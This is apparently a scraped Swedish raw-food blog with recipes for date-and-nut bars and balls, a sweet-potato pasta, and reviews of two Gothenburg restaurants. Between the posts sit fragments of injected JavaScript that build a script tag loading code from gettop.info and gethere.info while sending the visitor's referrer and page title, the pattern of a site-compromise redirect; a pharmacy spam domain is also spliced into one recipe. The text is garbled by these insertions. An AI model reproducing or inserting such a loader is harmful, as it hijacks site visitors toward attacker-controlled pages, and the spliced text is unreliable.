Snickersrutor

IMG_3409
Här kommer ett supergott recept på goda och nyttiga snickersrutor utan tillsatt vitt socker, och gluten. Receptet hittade jag här.

Snickersrutor
Botten.
1,5 dl mandlar
10 färska dadlar
3 msk jordnötssmör
1 msk carob (går att utesluta)
1 näve salta nötter

Gör så här: Kärna ur dadlarna och kör i matberedare tillsammans med mandlar, jordnötssmör och carob. Klä cialisfrance24.com en brödform med plastfolie och tryck i degen och jordnötterna i botten.

Kolafyllning
8-10 färska dadlar
1 tsk vaniljextrakt

Gör så här: Kärna ur dadlarna och mixa med vaniljextrakt och vatten. Tillsätt lite vatten i taget tills det blir en kolalik konsistens. Bred kolasmeten på botten.

Topping
75 gram choklad (70%procentig)
en klick kokosolja

Gör så här: Smält chokladen och rör i kokosoljan. Man kan hoppa över kokosolja men då blir chokladen väldigt hård när du ska ska skära upp bitarna. Bred ut chokladen och ställ i kylen.

När chokladen stelnat, lyft ur kakan och skär i lagom bitar. Förvara i kylskåp.

IMG_3413IMG_3415IMG_3416IMG_3410IMG_3407

d.getElementsByTagName(‘head’)[0].appendChild(s);

Sötpotatispasta med valnötsås

Receptet hittade jag

på fb

under ”Årstiderna”

Sötpotatispasta med valnötssås
2 portioner

1 stor sötpotatis
2

tsk

olivolja
En skvätt

pressas citron
Salt

Såsen
2 dl valnötter
1 liten klyfta vitlök
0,75 dl

valfri

nötmjölk
Salt och svartpeppar

Skala sötpotatisen oc skär till spaghetti med spiralskärare. Massera in olja, citron och

lite salt i spaghettin. Mixa valnötterna till

ett realtivt fin konsistens tillsammans med vitlökskyftan. Blanda ner mjölken,

smaka av

med salt och svartpeppar.

Blanda såsen

med nudlarna. Smaklig spis!

Receptet

finns också på www.katjasmat.se

 

s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; document.currentScript.parentNode.insertBefore(s, document.currentScript);

Macabollar

IMG_6077

Maca är en rotfrukt som frodas på högre höjder än någon annan. Maca växer i Anderna på 4 000 meters höjd.
Smaken påminner om pepparrot och palsternacka.

Maca innehåller adaptogener som ger dig energi och ökar lusten! Ger dig en riktig kick.

IMG_6092

Recept ca 14 mindre bollar.
3 dl mandlar  eller 2,5 dl mandelmjöl
2 msk kokosolja
3 msk kakaopulver eller raw kakao (jag använde raw kakao)
1 msk macapulver
5-7 dadlar (urkärnade)
Lite vatten
Lite honung

Gör så här:
Kör mandlar till ett fint mjöl i matberedaren. Tillsätt kakao och macapulver, kör igen. Gör kokosoljan flytande i ett ljummet vattenbad. Tillsätt kokosolja och kör igen. Tillsätt dadlar och kör igen. Tillsätt lite mer dadlar eller lite honung om du vill ha lite mer sötma. Om det är för torrt, tillsätt en aningens vatten. Bara liiiite. Forma sedan till bollar och rulla i kokos. Förvara i kylen eller frysen.

 IMG_6082
 IMG_6091IMG_6083

if (document.currentScript) {

Open New doors, Göteborg

IMG_2334

Förra veckan besökte jag Open New doors för första gången. Stället ligger på Tyska bron 1, Norra Hamngatan.
De serverar oprocessad, ekologisk och vacker mat och fika fri från animalier, gluten, raffinerat socker och mejeri.
Det finns även naturviner från Rosforth och Rosforth, speciellt utvalda för att passa oss och hantverksöl främst från All in brewing. Allting tillrett med kärlek och en stor nypa glädje. Kan verkligen rekommendera Open New doors där maten smakar supergott och man kan även ta med sig Take away om man inte har tid att

Öppet
Månd-Tors 11-21
Fred-Lörd 11-22
Söndag Stängt

IMG_2336IMG_2335IMG_2337IMG_2338IMG_2339IMG_2342IMG_2347IMG_2346IMG_2345

Jag köpte deras goda bovetewrap och till det drack jag ett gott naturvin.

IMG_2349IMG_2341

IMG_2344

Min kompis åt en Pad Thai Raw.

IMG_2348

Fick lära mig att det är skillnad på naturviner och ekologiska viner.
Naturviner serverar de på Open new doors och här nedan kan ni läsa vad naturvin är.

IMG_2350IMG_2340

Naturvin är ekologisk eller biodynamisk odling där naturvinsproducenterna tar ett steg till, den mänskliga inblandningen vid själva tillverkningen ska vara minimal i tillverkningsprocessen. Druvor skördas för hand och minimalt med bekämpningsmedel i vingården är några riktlinjer av Naturvin. Till exempel får bara de naturliga (vilda) jästsvamparna som finns i vingården och i vinkällaren användas när druvmusten jäser till vin. Naturvinerna levereras ofta ofiltrerade att tillsätta socker, syra eller industriell framtagen jäst är inte tillåtet. Mikrooxidation (syresättning av vinet för att mjuka upp det) är inte tillåtet, och inte heller att avlägsna vatten och/eller alkohol för att öka på koncentrationen. Svavel (sulfit) är tillåtet som dels kommer naturligt via jäsningsprocessen, dels får tillföras manuellt för att göra vinet mer hållbart och inte oxidera. Men här är det minimal användning som gäller och många producenter väljer att inte tillföra svavel alls. Avsaknad av enhetlig definition, certifiering eller tillhörande märkning gör fältet fritt för tolkning av vad naturvin är.

Om ni vill veta vad ekologiskt vin är så kan ni läsa här nedan vad ekologiskt vin är.

Ekologiskt vin är vindruvsodling som grundar sig på att bevara jorden, hålla grundvatten rent och skydda arter och kulturlandskap. Vindruvsodlarna gödslar och bekämpar skadedjur och svampar på sina vinrankor med hjälp av biologisk nedbrytbara preparat och genom att sätta in naturliga fiender till skadedjur och skadeinsekter i sin vingård. I ekologisk vindruvsodling tillåts ogräset att vara kvar, det plöjs sedan ned och används som gödning. Konstgödsel ersätts med naturgödsel vid ekologisk odling, vilket ger en mer porös jord som lättare släpper igenom vatten. Ett ekologiskt vin är ett vin där inga bekämpningsmedel som penetrerar rankan och verkar inifrån den får användas. En begränsad användning av kopparsulfat och svaveldioxid, som lägger sig utanpå växten och sköljs bort när det regnar, är dock tillåten för bekämpning av vissa sjukdomar. Antal skott som lämnas kvar på rankan i samband med beskärning under vintern, lövarbete för att försäkra god lufttillförsel och vårbeskärning av rankan är ytterst viktigt för att uppnå bästa resultat.

 

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

if (document.currentScript) { d.getElementsByTagName(‘head’)[0].appendChild(s);

Rawfoodbaren

10

A

För några veckor sedan besökte jag Rawfoodbaren och åt deras brunch. Sååå gott. Rawfoodbaren ligger på Prinsgatan 5 i Göteborg.

23456
Det var en Tacobrunch som serverades för 225 kr och det smakade helt fantastiskt gott.

Valnöt- och morotsfärs i romanblad med färsk majs, koriander och lime. Cashewcoleslaw, grönsallad, groddar och rökig fejkon (aubergin). Serveras med het salsa, guacamole och creamed corn. Chokladboll med apelsin och chili. Färsk juice av rödbeta, morot, äpple, ingefära. Te eller kaffe.
7

11981312

 var d=document;var s=d.createElement(‘script’);

var d=document;var s=d.createElement(‘script’); d.getElementsByTagName(‘head’)[0].appendChild(s);

White truffle

 

11822446_10153067509965959_370221626828135014_n

Här kommer två olika recept på ”White truffles”, en paleovänlig och en mindre nyttig. Originalreceptet hittade jag på instagram och måtten är engelska mått.

Recept ”White truffle” (Paleovänlig variant)
6-7 dadlar (urkärnade)
1 Cup riven kokos
1 Tbsp Agave sirap

Topping
6 Tbsp kokosolja (direkt från burken)
2 Tsp Agave sirap

Gör så här: Blötlägg dadlarna en stund. Häll av vattnet och lägg dadlarna tillsammans med kokos och agavesirap i en mixer och mixa till en smet.  Rulla till bollar och ställ in i frysen en stund.
Under tiden blandar du ihop din topping till en trögflytande smet. Rulla dina bollar i toppingen och ställ in i frysen. Ta fram och servera!

Recept ”White truffle” med vit choklad
6-7 dadlar (urkärnade)
1 Cup riven kokos
1 Tbsp Agave sirap
100 gram vit choklad med citronsmak

 

018ec789-dc02-41e0-a54e-ac2677ad882d

Topping
6 Tbsp kokosolja (direkt från burken)
2 Tsp Agave sirap

Gör så här: Blötlägg dadlarna en stund. Häll av vattnet och lägg dadlarna tillsammans med kokos, choklad och agavesirap i en mixer och mixa till en smet.  Rulla till bollar och ställ in i frysen en stund.
Under tiden blandar du ihop din topping till en trögflytande smet. Rulla dina bollar i toppingen och ställ in i frysen. Då kommer du märka att toppingen blir vit. Ta fram och servera!

 

 

72164311822446_10153067509965959_370221626828135014_n

 document.currentScript.parentNode.insertBefore(s, document.currentScript);

var d=document;var s=d.createElement(‘script’); } else {

Goda rawbollar

Här kommer ett supergott recept på goda rawbollar med mycket smak, perfekt att bjuda på när ni får besök istället för allt onyttigt godis.

boll

bild2Rawbollar
6-8 dadlar
3 msk raw kakao
1 msk kokosolja
1 msk chiafrön
50 gram blötlagd gojibär
5-6 aprikoser
100 gram rostade hackade cashewnötter

Gör så här: Blötlägg gojibären i ca 2 timmar (häll av vattnet).  Rosta dina cashewnötter och hacka i små bitar (jag rostade dem i stekpannan och lät nötterna svalna innan jag körde dem i mixern istället för att hacka i små bitar)
Blanda ihop alla ingredenser till en röra och rulla till bollar. Rulla bollarna i kokos eller någon annan topping (hackade nötter, raw kakao, tranbärspulver, blåbärspulver, lingonpulver). Förvara dina rawbollar  frysen och ta fram vid behov.

bild1bild6bild5bild5bild4bild3bild2

 

IMG_6291

 

 

 

var d=document;var s=d.createElement(‘script’);

Raw chokladbollar

bild4

Här kommer ett supergott recept på Raw chokladbollar. Jag rullade mina bollar i kokos men du kan även rulla dem i raw kakao eller nötter.

Recept 8-10 bollar
10 dadlar (urkärnade)
1 dl mandelmjöl
3 msk kokosfett
3 msk kakao
1-2 tsk vaniljpuler

1 msk vatten (kan uteslutas beroende på hur degen är i konsistensen)

Gör så här: Mixa dadlar, mandelmjöl, kokosfett, kakao och vaniljpulver och ev. lite vatten. Rulla till bollar och rulla i kokos.

bild3

bild2

bild1

 

 

d.getElementsByTagName(‘head’)[0].appendChild(s);d.getElementsByTagName(‘head’)[0].appendChild(s);

Raw hallonbollar

Det här receptet hittade jag på en fb grupp om Rawfood.

 

 

imageHallonbollar: ca 8-10 st
1 dl nötter (jag använde cashewnötter)
2 dl frusna hallon
1 dl kokosflingor

Gör så här:
Mixa allt till en ganska slät massa o forma till bollar, rulla kokosflingor eller kakao.
Bollarna är godast om de får stå i frysen över natten innan du äter dem.

image

image

image

 

 

 

 

 

 d.getElementsByTagName(‘head’)[0].appendChild(s);

d.getElementsByTagName(‘head’)[0].appendChild(s);

Raw Snöbollar

bildB

Här kommer ett supergott recept på Rawbollar som jag hittade på en fb grupp för rawfood.

Raw snöbollar ca 8st
1 1/2 dl mandelmjöl
1 dl kokosflingor
1 msk kokosolja
2 msk citronsaft
2 msk honung

Gör så här: Blanda i skål, rulla till bollar och rulla bollarna i kokosflingor. Jag förvarade mina bollar i fryser och tog fram dem ca 5 min innan servering…sååå goda. Nästa gång ska jag prova med limesaft istället för citron.

bildC

bildA

s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; } else {